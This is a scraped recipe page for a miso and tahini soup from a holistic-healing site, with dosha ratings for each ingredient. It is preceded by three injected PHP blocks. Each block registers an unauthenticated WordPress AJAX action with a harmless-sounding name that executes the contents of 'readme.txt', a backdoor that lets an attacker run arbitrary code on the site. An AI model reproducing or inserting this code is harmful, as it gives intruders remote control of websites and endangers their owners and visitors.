if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Miso & Tahini Soup | Holistic Healing Resolutions by Asaf Feit

Miso & Tahini Soup

by | Breakfast, Decrease Vata, Dinner, Easy to Digest, Fall, Hot & Oily, Kidney Qi Deficiency, Kidney Yang Deficiency, Liver Blood Deficiency, Lubricating, Lunch, Nourishing, Recipes, Soup, Spleen Qi Deficiency, Spleen Yang Deficiency, Stimulating, Winter | 0 comments

Miso & Tahini Soup

Print Recipe Pin Recipe
Prep Time 10 minutes
Cook Time 25 minutes
Total Time 40 minutes
Course Soup
Servings 4

Ingredients
  

  • 2 carrots halved and sliced (Vata - Pitta 0 Kapha - -)
  • 2 sweet potatoes cubed (Vata - - Pitta - Kapha +)
  • 1 onion sliced (Vata - - Pitta + Kapha -)
  • 1 clove garlic Vata - - Pitta ++ Kapha 0
  • 3 Tbs. tahini Vata - - Pitta ++ Kapha ++
  • Handful of Arame or Hijiki seaweed Vata - Pitta - Kapha 0 soaked for 10 minutes, strained and washed
  • 2 pinches black pepper Vata - Pitta + Kapha - -
  • 2 pinches cumin Vata - Pitta + Kapha -
  • 2 Tbs. miso Vata - - Pitta + Kapha +
  • 6 cups water Vata 0 Pitta - Kapha +

Instructions
 

  • Place all the ingredients in a cooking pot, except the miso.
  • Bring to boil and cook until the carrots are soft.
  • Once ready, take a cup of fluid from the soup, melt in it 2 Tbs. of miso by stirring well and pour back into the pot.
  • Close the flame.
  • Serve with chopped chives.

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